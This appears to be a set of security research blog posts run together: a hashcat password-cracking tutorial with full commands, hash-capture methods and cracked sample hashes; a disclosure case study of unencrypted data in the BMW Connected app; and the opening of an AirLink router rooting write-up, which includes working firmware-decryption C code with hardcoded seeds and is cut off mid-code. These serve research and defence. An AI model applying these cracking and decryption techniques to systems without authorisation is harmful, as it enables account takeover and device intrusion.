To begin at the beginning.

A password hash is a transformation of a password using what we call a “one-way” function. So, for example, ROT-13 (rotate by half the alphabet) would be a very, very bad password hash function and would give fairly recognizable results like “Cnffjbeq123!”. The one-way property means it must be essentially impossible to construct the inverse function and recover the original, and functions like MD5 or SHA1 certainly meet that particular criterion. Iterated encryption functions like DES have also been used (for example LAN Manager hashes), but seem to have fallen out of favor a while ago. There are a load of technical, cryptographic details which neither you or I need to know, but essentially we’ll end up guessing at loads of passwords and then performing the same one-way function and checking to see if we’ve arrived at the correct answer.

Now if we wanted to optimize our guessing procedure, we could create a giant lookup table of all possible passwords and all possible corresponding hashes. (As an aside, this might actually be slower than computing a really fast hash like MD5, because disk access is slower than doing a small number of things in CPU.) So at some point, a long time ago, a thing called a salt was added to the password hash on UNIX systems. A salt is a random number stored along with the hash, which goes into the hash computation as well. This gives two benefits:

1. If the salt is long enough and random enough, it is no longer feasible to build a lookup table – it just gets too big.
2. You have to attack each hash on its own; i.e. run a separate computation for each (salt, password candidate) pair.

So we arrive at something like sha512crypt, which is many iterations of SHA512 with a large random salt. It is fairly slow to compute each guess, which makes our job harder, for example:

$6$52450745$k5ka2p8bFuSmoVT1tzOyyuaREkkKBcCNqoDKzYiJL9RaE8yMnPgh2XzzF0NDrUhgrcLwg78xs1w5pJiypEdFX/

Now, you can attack this by putting it in a file and running John the Ripper (https://www.openwall.com/john/) like this:

D:\john\run> john.exe sha512crypt.txt

or with hashcat (https://hashcat.net/hashcat/) like this:

hashcat.exe -a0 -m 1800 D:\hashcrack\john\run\sha512crypt.txt D:\hashcrack\dict\Top95Thousand-probable.txt -r D:\hashcrack\rules\best1222.rule -O -w3

So the problem now becomes “just” choosing all the magic parameters, which are explicit with hashcat and implicit with John the Ripper. Because I don’t like typing the same thing over and over again, I wrote a helper script called “hashcrack” (https://github.com/blacktraffic/hashcrack).

Briefly, hashcrack tries to guess the hash type and then runs some sensible attacks based on the speed of the hash. It of course does this by invoking hashcat, John the Ripper, a bunch of conversion/extraction scripts that come with John the Ripper, or occasionally impacket or SQLite. For example, taking a Responder db file (from the test suite) below:

D:\hashcrack>python hashcrack.py -i tests\Responder.db
    Running under win32
    Reading file: D:\hashcrack\tests\Responder.db
    Couldn't parse first line of file - trying as latin1

    [at this point it pulls out the NetNTLMv1 and v2 hashes into .tmp files - "SELECT fullhash FROM responder where type like 'NTLMv2%'" ]

    RUN: hashcat.exe -a0 -m 5600 D:\hashcrack\tests\Responder.db.tmp D:\hashcrack\dict\\\Top95Thousand-probable.txt -r D:\hashcrack\rules\\\best22405.rule  --loopback  -O --bitmap-max=26  -w3  --session hc
    ...
    IEUSER::IEWIN7:ed9cc20456c23e34:939e00dfea66e08e8b...03100000000000000000000000000:Passw0rd!

It is very much a glorified helper script, but it does at least tell you what command it decided to run in case you do need to tweak it further, and it does its best to unpack whatever it is to hashcat format.

First, catch your hash

Obtaining and recognizing hashes and then turning them into the correct format for John the Ripper or hashcat is not always a trivial exercise. At a minimum, we have the following main types.

Windows

• Stored passwords, such as NTLM – How Attackers Dump Active Directory Database Credentials – https://adsecurity.org/?p=2398
• NetLMv1/v2 – These can be captured using Responder or leaked from various applications, if you can get them to connect to your fake SMB share.
• Kerberoasted hashes – These can be captured using Invoke-Kerberoast, Rubeus, or similar to perform Kerberoasting against an AD domain.
• Domain cached credentials – These can be captured using password dumping tools on the local machine or by taking the three registry hives (security, system, and SAM) and unpacking them with impacket’s “secretsdump” (https://github.com/SecureAuthCorp/impacket)

UNIX

For Linux, these would typically be in /etc/shadow and the format will be sha512crypt or bcrypt for modern operating systems, starting with things like “$2$” or “$6$”. For AIX, you might find DEScrypt hashes in /etc/security/passwd, but the common theme is crypt formats (https://www.man7.org/linux/man-pages/man3/crypt.3.html).

Database

Generally, as DBA, you can query the password hashes out of the databases such as PostgreSQL, MySQL, Oracle, MSSQL, etc.

Documents

Password protected ZIP, Word, Excel, PDF files – Various scripts that come with John the Ripper which extract password hashes from these files.

Web Applications

You might see these if you can connect directly to the backend database or if you can exploit SQL injection. This can be anything the developers thought was a good idea, from MD5 to bcrypt. Using the phpass format as an example, it might be something like $P$984478476IagS59wHZvyQMArzfx58u.

Information implied by format

So where you get the hashes from gives you some clues about how to proceed. All Windows hashes should meet the domain’s password policy – unless the admins have given special dispensation. Web or database passwords could be any length in theory. WPA2 passwords must be at least eight characters according to the standard.

For unsalted hashes, such as plain MD5, or NTLM, or SHA1, you can attack a thousand hashes as quickly as one, so you may as well load them all up. Otherwise, you may need to pick hashes of particular interest.

Again with the quicker hashes, you may as well just throw everything at it and see what comes out – you can always refine your approach based on what you crack. With slower ones, it’s worth thinking about it or trying to find “cribs” (potential passwords, or parts of passwords) elsewhere on the system.

Benefits and constraints of using a GPU

You can of course do this all on CPU if you want, but for most hash types, GPU is much quicker. For example, bcrypt can be quicker on CPU because it has been designed that way. I’m not going to talk about FPGAs here, but that is a good approach if you really need it (e.g. https://www.usenix.org/system/files/conference/woot14/woot14-malvoni.pdf)

Because a lot of people like playing games with nice graphics, fairly cheap parallel processors are readily available. But there are certain limitations on how we can get them to process our workload. For the two most popular password cracking programs, hashcat and John the Ripper, this means expressing the search space in terms of a dictionary and a set of rules (or transformations) or a mask, which is essentially a set of possible character values to search. For the faster hashes, like NTLM and SHA1, you will need to supply a list of rules and a big enough wordlist in order to keep the GPU busy – I gather this is something to do with how quickly you can send data over the bus, but whatever the reason, using a short wordlist and no rules will not make best use of the GPU (hashcat will warn you about this).

Meanwhile, mask attacks are quick if you give a sufficiently large search space.

Hashcat expresses masks in a slightly odd way, so we have ?a, representing all ASCII values, ?d representing digits, ?l and ?u being lower- and upper-case respectively, and ?s meaning special characters. You may also see ?b which means any byte.

Thus a search using ?u?l?l?l?l?l?l?l?s will eventually match Password!, but will also catch everything from Aaaaaaaa! through to Zzzzzzzzz}

In the same way, the rules language describes how to transform a base word into the final guess, in terms of deleting or swapping characters or adding them to the start or end of the word. Like a CPU, it only implements a finite set of common operations, and we have to work with what’s there. If we assume “password” is the base:

$1$2$3 means append 123, so we get password123

^3^2^1 means prepend 123 (because we prepend 3, then prepend 2 to “3password”, etc.)

so0 means swap ALL ‘o’ characters to ‘0’ (zero), so it becomes “passw0rd”

One of the limitations of hashcat is that we can’t just swap some of the o characters to 0s, it’s all or none. (Research shows that humans tend to add complexity to the end of passwords, so suffixes are more likely to be helpful than prefixes.)

Dictionary and Rules

A “normal” run of hashcat might look like this, where we have a dictionary of common passwords in decreasing order of frequency and a rules file. I have given the hashcrack command, and the “RUN: ” is exactly how it decides to run hashcat.

The file I’m running it against is the last couple of million of the Have I Been Pwned NTLM dataset (https://www.troyhunt.com/pwned-passwords-now-as-ntlm-hashes/). I’ve written elsewhere about cracking the first 500 million, but for now, it’s just some convenient test data.

 ./hashcrack.py -i hashes.txt -t ntlm -d /root/dict/Top2Billion_probable.txt -r rules/InsidePro-PasswordsPro.rule
    RUN: ./hashcat64.bin -a0 -m 1000 hashes.txt /root/dict/Top2Billion_probable.txt -r /root/hashcrack/rules/InsidePro-PasswordsPro.rule  --loopback -O  -w4

If we look at the debug file produced by doing –debug-mode=4 –debug-file=dbg.log, we can see the dictionary word on the left, the rules applied in the middle, and the thing we found on the right.

We can give a directory as the dictionary argument, which means it tries every file in the directory one after the other. And we can give two rule parameters, which means it combines each rule in the first with every rule in the second. This means it gets big fast, but this can be useful if you have orthogonal rulesets (e.g. one for dealing with passphrases and one for endings like “123”, “123!” etc.). Combining insertions.rule and a normal ruleset got me t++19882008 with the t coming from the normal rules, and the ++ coming from insertions.rule.

Masks and Maskfiles

You can specify a search space using masks. For example, the following will try all ASCII passwords of length 1-5:

 ./hashcrack.py -i hashes.txt -t ntlm --mask ?a?a?a?a?a?a
    RUN: ./hashcat64.bin -a3 -m 1000 hashes.txt ?a?a?a?a?a?a -i  -O   -w4

You can also specify this in a file, where you can define the character classes ?1, ?2, ?3, ?4 and then use them in the final field of the line. The following will search through default passwords and variants:

And then it will try each one, with the custom charsets given:

$ ./hashcrack.py -i hashes.txt -t ntlm --mask maskfiles/defaultpass.hcmask
    RUN: ./hashcat64.bin -a3 -m 1000 hashes.txt /root/hashcrack/maskfiles/defaultpass.hcmask  -O   -w4  --session hc

This guesses things like P@ssword, p@ssword, Password, password, … for example.

Combining lists

But what if I want to make like the Large Hadron Collider and just smash things together and see what happens? Well, there’s mode -a1 in hashcat, combinator and combinator3 from hashcat-utils (https://github.com/hashcat/hashcat-utils), and the PRINCE preprocessor (https://github.com/hashcat/princeprocessor).

Below, the file last1-5.txt contains commonly observed suffixes from my data, but you can also run two password dictionaries against each other. Found passwords will be the concatenation of one entry from the first dictionary and one from the second. In this case, “samtron” is in Top95Thousand-probable.txt and “_r89” is in last1-5.txt.

$ ./hashcrack.py -i hashes.txt -d /root/dict/Top95Thousand-probable.txt -e /root/dict/last1-5.txt -t ntlm
    RUN: ./hashcat64.bin -a1 -m 1000 hashes.txt /root/dict/Top95Thousand-probable.txt /root/dict/last1-5.txt   -O   -w4  --session hc

    8dd1b62216b2703737ad28b59b1bad1d:samtron_r89
    8bdc261caed3145d2a9f4f9de8ab31e2:greentreejkvl
    9e3e0d23ddb9be5a9498b4c9b4366336:ruby@bds
    244e2d25960ca0b8747efd0a1ab3c2f6:shashank.n87
    8c9df56a1769a1d8ed3a43989d25cd6f:conway7o4s
    b35f0b7e18945d4f1e79b6338a51d519:GarfieldH170
    1ff1fdb36d4b3c79cdc5a6d4d01230cb:canuckh2oz

Phrases

I extracted a bunch of short phrases from Google’s n-gram corpus (http://storage.googleapis.com/books/ngrams/books/datasetsv3.html) to play with, but there are other publicly available lists of passphrases. You will need slightly different rules, because you might want to capitalize things after spaces, swap space to underscore, or such. Try https://github.com/initstring/passphrase-wordlist/tree/master/hashcat-rules

  $ python hashcrack.py -i hashes.txt -t ntlm -d c:\Users\jamie\Desktop\words\1-4grams.txt -r rules\passphrases.rule
    RUN: hashcat.exe -a0 -m 1000 D:\hashcrack\hashes.txt c:\Users\jamie\Desktop\words\1-4grams.txt -r D:\hashcrack\rules\passphrases.rule  --loopback  -O --bitmap-max=26  -w3  --session hc

    25d9bebab099e8ef6e0ee0c496a2c917:ambitiouspeople
    f08eacad22f93cf1ad34ad34aaa119e6:industrialwelding
    a820d36ec57c4ef2c4426c242f50248e:simplysatisfied
    5dcbdc8902e458f07bc06eebd8273a6e:WarmFlame
    241d1c802fd187f35b3e2b9789b81b6e:JohnBelfield
    76cdc9d7543af6effda11f8ccef75669:EyeCannot
    17c9ea43a66e21f14a1ed106d06755d4:perhaps_forget
    4c2ba3c55cbdcaf1bc83f94777a3b6dd:imaginative_mind

Markov Models

As with all machine learning/statistical approaches, this works best if your training data is representative of the stuff you’re trying to crack. Which you don’t know, because you haven’t cracked it yet, but it’s a reasonable guess that it might follow the same form as fragments of English text. Travco wrote a nice quick program to do this: https://github.com/travco/rephraser.

In this case, ‘corpus.txt’ should be a lot of English sentences (or from whatever language you think might be in use).

$ python3 ../rephraser/rephraser.py --corpus corpus.txt --model ./wiki1M_model.keyvi | ./hashcat64.bin -a0 -m 1000 hashes.txt -r /root/hashcrack/rules/passphrase.rule -r ../rules/best1222.rule --loopback  -O   -w4

    57871172a2cd8ada7c7794fcb4a1820b:ToStayAtHome07
    def7c2415d3d240ff0c4821858b26402:ToBeReset
    affbfba14f0b54b5f2ff5db1873d3401:AnABootCamp
    33398e1f2542b9b973b5b9a726caf347:TOUNTHEBIG
    50d1e344e7d32c5c354ab8a97119c8c5:Abbyishard
    7efe3e0e20145e33a35d83e07d69e7bc:Andistillmay

Leetification

This is the term I use for swapping things like o->0, s->5, e->3 and so on, as people sometimes do in their passwords, for example “Pa55w0rd”. You can do this in rules if you want to swap all occurrences, but I suspected there might be a lot of people who did not consistently do this. Hashcrack can do this using the -3 flag:

    $ ./hashcrack.py -i hashes.txt -3 -t ntlm

which basically does this:

    $ python3 ../scripts/leetify.py /root/dict/Top2Billion_probable.txt | ./hashcat64.bin -a0 -m 1000 hashes.txt -r /root/hashcrack/rules/best22405.rule  --loopback  -O -w4  --session hc

and that script does a recursive leetification process.

Which gets us things like the following, where some, but not all, of the characters have been leetified.

Measuring rule quality

You can use debug output to see how often a rule is firing by adding –debug-mode=4 –debug-file=foo to the hashcat command line.

You can then use this data to count how many times each rule fires and plot a nice graph.

Obviously, this doesn’t account for the fact that two different rules may carry out the same transformation. ^”$” and $”^” both enclosed the candidate password in quotes, but only the first one in your list will get counted with this approach.

Measuring password quality

Another thing we can do is visualize how quickly passwords got cracked with any particular method, using hashcat’s status output and counting the cumulative number of passwords at each “tick.”

 hashcat64.exe -a0 -m 1000 C:\Users\jamie\Desktop\hashcrack\defcon2010-ntlm.txt C:\Users\jamie\Desktop\hashcrack\dict\\\Top32Million-probable.txt -r C:\Users\jamie\Desktop\hashcrack\rules\\\l33tpasspro.rule  --loopback  -O --bitmap-max=26  -w3  --session hc   --status >> graphme

    d:\hashcrack>python graph-by-quality.py hashcat-5.1.0\graphme

This can be used for evaluating the overall strength of the passwords – obviously, a steep initial curve means that lots of things cracked very quickly, and the defenders want to make the graph as flat as possible.

Representation and non-ASCII

If you’re trying to crack non-ASCII characters, you need to know how the underlying system deals with encoding and storage of the non-ASCII characters. For example, if you try to crack the NTLM hash for “Gü” :

Which is ”ü” according to CP-1252, as documented here: https://en.wikipedia.org/wiki/Windows-1252

But if we crack it like this, we get something:

So it appears my DOS window doesn’t like UTF-8:

but it does save it properly in the potfile when viewed with a sensible editor:

For more info, see:

• https://www.nixu.com/blog/cracking-non-english-character-passwords-using-hashcat

Slower Hashes

Let’s take a look at three different hash types with fairly different designs – NTLM, WordPress (phpass), and bcrypt. Firstly, NTLM is not salted, so we can attack many hashes in parallel for free, which is a truly awful thing for defenders. The other two are salted, meaning each hash needs to be attacked separately, making cracking millions of hashes millions of times harder.

The other main difference is relative speed. Using a 1080 Ti as a reference platform, I can get a speed of 50 billion guesses per second against NTLM, around 8 million against WordPress, and about 20 thousand against bcrypt. However, bcrypt comes with a cost parameter, which can be adjusted to make the hash slower to compute, and the hashcat example is unusually generous in using a cost factor of five. Most modern implementations would use 10 or 12, meaning we can only make about one thousand guesses per second.

The purpose of this cost factor is that defenders want to make the computation take as long as possible without actually annoying the user – so, ideally, it would be a couple of hundred milliseconds or so. As computers get faster, we increase the cost factor and hopefully make things prohibitively expensive for attackers. That is, providing we can stop our users from picking passwords like “Summer2020”.

If you are attacking a hash like bcrypt, you need to start with the most likely passwords and possibly only attack the hashes you think are most useful; remember ,computing one bcrypt guess is 50 million times slower than computing one NTLM guess. Therefore attacking 1000 bcrypt passwords is 50 billion times slower than attacking 1000 NTLM passwords.

Just so you can see what the various hashes look like, here’s a demo of cracking the “hashcat” example WordPress (phpass) hash:

    D:\hashcrack>python hashcrack.py --hash "$P$984478476IagS59wHZvyQMArzfx58u." -d hashcat.txt
    Running under win32
    Reading file: C:\Users\jamie\AppData\Local\Temp\\zc2lxx1b.hash.tmp
    Autodetected phpass
    Cracking hash type 400
    RUN: hashcat.exe -a0 -m 400 C:\Users\jamie\AppData\Local\Temp\\zc2lxx1b.hash.tmp D:\hashcrack\hashcat.txt  --loopback  -O --bitmap-max=26  -w3  --session hc
    ...
    $P$984478476IagS59wHZvyQMArzfx58u.:hashcat

Cracking the “hashcat” example bcrypt hash:

    D:\hashcrack>python hashcrack.py --hash "$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6" -d hashcat.txt
    Reading file: C:\Users\jamie\AppData\Local\Temp\\_kwbmbla.hash.tmp
    Autodetected bcrypt
    Cracking hash type 3200
    Selected rules: best1222.rule, dict Top95Thousand-probable.txt, inc 0
    Using dict and rules
    CWD: D:\hashcrack\hashcat-5.1.0
    RUN: hashcat.exe -a0 -m 3200 C:\Users\jamie\AppData\Local\Temp\\_kwbmbla.hash.tmp D:\hashcrack\hashcat.txt -r D:\hashcrack\rules\\\best1222.rule  --loopback  -O --bitmap-max=26  -w3  --session hc
    $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6:hashcat

And then, an example of a more realistic bcrypt hash with significantly slower speeds:

Go Forth and Crunch

That is a bit of a whirlwind tour of hashcat and how to use it, together with various other add-ons. For further advice I’d say:

• NVIDIA 1080/2080 gives a reasonable bang for your buck right now.
  
• Learn the main modes and how you can use them to build the password guesses you’re thinking of.
  
• Think of various hypotheses for what passwords might look like and test them out.
  
• Make use of cribs such as company name, location, current season, current year, and things like that.
  
• Cool your rig adequately.
  
• Have fun.

References

• Example hashcat hashes for each type: https://hashcat.net/wiki/doku.php?id=example_hashes
• Description of hashcat rules: https://hashcat.net/wiki/doku.php?id=rule_based_attack
• Hashcat: https://hashcat.net/hashcat/
• Hashcat help forum: https://hashcat.net/forum/
• John the Ripper: https://www.openwall.com/john/
• Hashcrack, my helper script: https://github.com/blacktraffic/hashcrack
  which has an accidental name clash with the amazing book:
• Hashcrack, 3rd edition: https://www.amazon.co.uk/Hash-Crack-Password-Cracking-Manual/dp/1793458618
• Terahash, makers of shiny hardware: https://terahash.com/#appliances

TL; DR: Modern mobile OSes encrypt data by default, nevertheless, the defense-in-depth paradigm dictates that developers must encrypt sensitive data regardless of the protections offered by the underlying OS. This is yet another case study of data stored unencrypted, and most importantly, a reminder to developers not to leave their apps’ data unencrypted. In this case study, physical access to an unlocked phone, trusted computer or unencrypted backups of an iPhone is required to exfiltrate the data, which in turn does not include authentication data and cannot be used to control or track the vehicle in any way.

Introduction

“While modern mobile operating systems allow encrypting mobile devices, which users can use to protect themselves, it is ultimately the developer’s responsibility to make sure that their software is thoroughly safeguarded. To this end, developers should provide reliable mobile app data encryption that leaves no user data without protection.” — Dmitriy Smetana.[1]

Physical theft is not the only attack vector that threatens the data stored on a mobile phone. Imagine, for instance, a shared computer at home or in the office where a phone has been authenticated and trusted. When the phone is connected and authenticated, a malicious actor with access to this computer would be able to extract its apps’ data. The likelihood is low in the real world, though.

One day during the pandemic I was wondering if my car’s mobile app was encrypting the data or not. So, I decided to analyze it:

Scope and Tools Used

The following navigation-equipped cars were used for this analysis:

· X5 xDrive40i (2020)

· 120i (2020)

· X1 sDrive20iA X Line (2018)

BMW Connected is a mobile app compatible with 2014 and newer navigation-equipped vehicles (BMW ConnectedDrive[2]). It allows the user to monitor and remotely control some features such as:

    · Lock/Unlock

    · Location tracking

    · Lights

    · Horn

    · Climate control

    · Destinations (navigation system)

    · Doors and windows status

    · Fuel level

    · Mileage

BMW Connected App Demonstration

The latest version of the app available on Apple Store was:

    · BMW Connected for iOS v10.6.2.1807

I installed the app on two iPhones, neither of which were jailbroken:

    · iPhone XS Max (iOS 13.4.1)

    · iPhone 8 Plus (iOS 13.3.1)

Then, I found unencrypted data using the following basic tools:

    · Windows 10 Home

        o iMazing[3]

    · Ubuntu Linux 19.10

        o strings

        o plistutil

        o base64

        o jq

Analysis and Results

You’ll see how easy it was to extract and decode the stored data.

Data Stored Unencrypted

The cars were added and authenticated within the app:

For both installations, the same behavior was observed: data was stored base64-encoded but unencrypted in .plist files. I used the plistutil command to decode such files, then, I piped the output through other command-line tools to strip empty lines and spaces.

Once I had the base64 strings, I decoded them with the base64 tool and finally, formatted and colorized the JSON output with the jq tool:

    · Favorite locations (FavoritesCollection.plist)

   · Directions sent to the vehicle (TripStorage.plist)

   · Status of doors and windows (VehicleHub.Suite.plist)

    · Mileage and remaining fuel (VehicleHub.Suite.plist)

    · History of remote actions (VehicleHub.Suite.plist)

    · Car color and picture (VehicleHub.Suite.plist)

    · Next maintenance due dates (VehicleHub.Suite.plist)

    · VIN and model

    · Owner’s first and last name and last logged date (group.de.bmw.connected.plist)

Weak Password and PIN Policies

On registration, I noticed the password policy only required eight characters from at least two of the following three charsets:

    · Letters (abc = ABC)

    · Numbers

    · Special characters

Such a policy might seem good enough; however, making the password case-insensitive significantly decreases its complexity. During testing, it was possible to login with any of the following passwords:

    · Qwerty12

    · QWERTY12

    · QwErTy12

Also, the app permits users to select an easy-to-guess PIN, which is used to unlock the car or access the app if the smartphone does not implement FaceID, TouchID, or a passcode. The existing PIN code policy allows users to choose weak combinations, such as consecutive numbers (e.g. “1234”) or the same number (e.g. “0000”).

However, the most commonly used feature for authentication is either FaceID or TouchID.

Recommendations

The takeaways are very simple:

    · For end-users:

        o Only authenticate your phone on trusted computers.

        o Avoid connecting and trusting your phone to shared workstations.

        o Use complex passwords and PIN codes.

    · For developers:

        o Do not put your complete trust in the operating system.

        o Encrypt sensitive data on your own.

Responsible Disclosure

One of IOActive’s missions is to act responsibly when it comes to vulnerability disclosure.

The following is the communication timeline with BMW Group:

· May 2, 2020: IOActive’s assessment of the BMW Connected App started.

· May 15, 2020: IOActive sent a vulnerabilities report to BMW Group following its guidelines.[4]

· May 20, 2020: BMW Group replied. They internally sent the report to the responsible departments.

· May 26, 2020: IOActive asked BMW Group for any updates or questions and let them know about our intention to write a blog post.

· May 28, 2020: BMW Group said to wait for a new app release prior publishing a blog post and asked for details to include the researcher in BMW Group’s Hall of Fame site.

· Aug 07, 2020: BMW Group and IOActive had a call to discuss the technical information that would be published in a blog post.

· Aug 13, 2020: BMW Group sent an email explaining how they would fix the issues.

· Aug 19, 2020: IOActive sent a draft of the blog post to be published to BMW Group for review.

· Aug 24, 2020: BMW Group suggested some modifications.

· Sep 08, 2020: IOActive sent the second version of the draft of the blog post to be published to BMW Group for review.

· Sep 11, 2020: BMW Group agreed with the final content.

· Sep 22, 2020: IOActive published this blog post.

The Fix

BMW Group’s security statement:

“Thanks to the notification of Alejandro Hernandez at IOActive via our responsible disclosure channel, we were able to change the way the app’s data cache is handled. Our app development team added an encryption step that makes use of the secure enclave of Apple devices, at which we generate a key that is used for storing the favorites and vehicle meta data that Alejandro was able to extract. We appreciate Alejandro for sharing his research with us and would like to thank him for reaching out to us.”

Acknowledgments

I would like to give special thanks to my friend Juan José Romo, who lent me two brand new cars for testing.

Also, I’d like to thank to Richard Wimmer and Hendrik Schweppe of BMW Group for their quick response and cooperation in fixing the issues presented here.

Thanks for reading,

Alejandro

@nitr0usmx

[1] Mobile Data Encryption in iOS: Techniques and Technologies: https://www.apriorit.com/dev-blog/436-data-encryption-ios

[2] BMW ConnectedDrive – https://www.bmw-connecteddrive.com

[3] https://imazing.com

[4] https://www.bmwgroup.com/en/general/Security.html

There are not many occasions when you can build a chain of exploits and not harm a single buffer, so it is interesting when you find yourself in one of those rare situations. As the title clearly indicates, this blog post will comprehensively describe the entire process that would allow a malicious actor to root Sierra Wireless AirLink® devices. 

Let’s do this! 

A couple of years ago the guys at Talos did a great job and killed many bugs in AirLink devices. As usual, before buying a device I always analyze the firmware first in order to get an overall impression of what I may face. Sierra Wireless has a nice website where it is possible to download firmware, so I chose my target (the RV50) and proceeded.

Analyzing the Firmware

After unpacking the firmware, we are presented with the following list of files:

The first notable thing is that well-known image formats, such as ‘rootfs.sqfs.uboot’, ‘uImage.recovery’ or ‘zImage’ are detected as ‘data’ so there should be something going on. As expected, a quick look at those files shows that they are definitely encrypted. Hopefully the only ‘clean’ binary that is present in the firmware (‘swinstaller’) will help us to figure out the scheme.

As you can see, it seems that, as we initially guessed, the important files are all encrypted. So, the next step is to spend some time digging through a C++ binary to understand the encryption algorithm. Some of the strings clearly pointed to ‘libtomcrypt’ as the encryption library, which definitely will help to reconstruct some of the symbols and logic in order to facilitate this sometimes tedious task.

They are using AES CTR without any apparent hardcoded key or IV, so there should be some logic that generates them at runtime. After reverse engineering the binary, we can break the encryption scheme into two different items: the values needed to derive the IV and the key and process for deriving them. 

1. Values

There are two different values that are required to properly derive the IV and the key for AirLink devices

1.1 Custom ‘seed’

This 8-byte hardcoded value can be found in the ‘swinstaller’ binary, close to the ‘sha256’/’aes’ strings in most cases. 

Please note that it may vary across devices and versions.

1.2 Custom ‘version’

This value can be found in the ‘manifest.txt’ file and corresponds to the ‘ALEOS_VERSION’ value, highlighted in the image below.  

As in the previous case, it will obviously be different across versions.

2.    Deriving the IV/Key

This non-canonical simple pseudo-code can be used to get an overall idea behind the generation.

  a = "\x00"*32
  b = version+seed 
  copy(a, rounds_sha256(b), 32)
  materials = rounds_sha256(a+b)
  iv = materials[0:31]
  key = materials[32:63]

The full logic to decrypt AirLink firmware files has been implemented in following file:

// For research purposes only
// 
// Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) 
// @IOActiveLabs https://labs.ioactive.com
// 
// Dependencies: 
// libtomcrypt https://github.com/libtom
// 
// Compile
// $ gcc decrypter.c -o decrypter -Isrc/headers libtomcrypt.a
// 
// Example
// KEY is the ALEOS_VERSION at manifest.txt (manifest.txt!ALEOS_VERSION=KEY)
// $ ./decrypter -d KEY aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1

/* 
Example output for RV50 firmware - ALEOS_VERSION=4.13.0.017 

* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * 

- Initializing materials...
Hashing at keyBuff+32 for 18 bytes...
round 1
round 2
round 3
round 4

Copying 32 bytes from the hashed material to keyBuff

Now hashing the entire keyBuff [50 bytes]...
round 1
round 2
round 3
round 4

***=> IV:  "\x11\x5F\x24\x07\x50\x3C\x68\xD2\x28\x26\xBA\x18\x4B\x12\x54\xF1\x2C\x20\x36\x01\x45\x86\x42\x99\x05\x6D\x43\x3C\xC5\x80\xCA\x94"
***=> Key: "\x7D\x69\x78\x59\x55\x35\xF9\xAA\x4F\x8E\xBE\xE4\xE8\xD2\xEE\xFA\x86\x35\xD1\x6A\x58\x81\x53\x78\x6D\xFF\x2E\xB5\xBC\x88\x21\x11"

[+] Decrypting firmware to decrypted.bin...
[+] Done

*/


#include <tomcrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int errno;

typedef struct _product_key{
  unsigned char seed[8];
  char *name;
} product_key;


// SEED TABLE  (ALEOS VERSION 4.13.0.017)
// Extracted from the 'swinstaller' binary (different from product/version)

product_key seed_table[]={  
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","ES450"},
                            {"\x5D\x5C\xAA\x26\x2D\x0B\xDE\x5A","RV50"},
                            {"\xFB\x76\x0D\xCE\xC1\x2C\xC8\x16","LX60"},
                            {"\xCB\x4E\x4A\x5F\x07\x89\x0B\xDE","RV55"},
                            {"\x1C\xDF\x8D\x14\xB3\x61\xCF\x12","MP70"},
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","GX450"},
                            {0}
                          };


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5);
int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV);


int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV)
{

  unsigned char *keyBuff;
  unsigned char keyHash[64]={0};
  unsigned char ivHash[64]={0};
  

  size_t  retLen;
  size_t  keylen,totalen;
  int     result;


 
  printf("\n- Initializing materials...\n");


  *key = (unsigned char *)calloc(0x40,1);
  *IV = (unsigned char *)calloc(0x40,1);

  keylen = len;

  totalen = keylen + 40;

  keyBuff = (unsigned char*)calloc(totalen, 1);
  
  retLen = 32;

 
  // Copy key string "\x00"*32+key
  memcpy(keyBuff + 32, keyString, keylen);
  
  // Copy remaining materials "\x00"*32+key+seed
  memcpy(keyBuff + 32 + keylen, seed_table[product].seed, 8);

  printf("Hashing at keyBuff+32 for %lu bytes...\n",totalen - 32);
  result = generate_materials(  (keyBuff + 32),
                                totalen - 32,
                                keyHash,
                                (size_t*)&retLen,
                                5);

  

  printf("Copying 32 bytes from the hashed material to keyBuff\n");
  memcpy(keyBuff,keyHash, 0x20);

  retLen = 32;
 
  printf("\nNow hashing the entire keyBuff [%lu bytes]...\n",totalen);
  generate_materials(   keyBuff,
                        totalen,
                        ivHash,
                        (size_t*)&retLen,
                        5);


  
  memcpy(*IV,ivHash,0x20);
  memcpy(*key,keyHash,0x20);

  printf("***=> IV:  \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",ivHash[i]);
  }
  printf("\"\n");

  printf("***=> Key: \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",keyHash[i]);
  }
  printf("\"\n");
 return 1;

}


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5)
{
  int v5; 
  size_t *v7; 
  int v9; 
  int v10; 
  size_t n; 
  unsigned char *outBuff; 
  int v13; 
  int i; 
  int v15; 


  v9 = len;
  v7 = a4;

  outBuff = (unsigned char*)calloc(0x100,1);
  v13 = find_hash("sha256");
  n = 128;
  v15 = hash_memory(v13, inBuff, v9, outBuff, &n);
  if ( *v7 > n ){
    printf("Error hashing memory\n");
    exit(0);
  }
  memcpy(dest, outBuff, n);
  *v7 = n;
  for ( i = 1; i < a5 && !v15; ++i )
  {
    printf("round %d\n",i);
    v15 = hash_memory(v13, dest, *v7, outBuff, &n);
    memcpy(dest, outBuff, n);
    *v7 = n;
  }
  printf("\n");
  if ( v15 )
    v5 = -1;
  else
    v5 = 0;
  return v5;
}


int usage(char *name) 
{
   int x;

   printf("\nUsage: %s -d version cipher('aes') infile outfile chunk_size product(ID)\nSupported products:\n", name);
   for(x=0; seed_table[x].name != NULL; x++) {
      printf("ID: [%d] Description: %s\n",x, seed_table[x].name);
   }
   printf("\n$ ./decrypt -d 4.12.0.p31 aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1\n");
   exit(1);
}

void register_algs(void)
{   
  if (register_cipher (&aes_desc)){
      printf("Error registering AES\n");
      exit(-1);
   } 

  if (register_hash(&sha256_desc) == -1) {
      printf("Error registering SHA256\n");
      exit(-1);
   } 
}

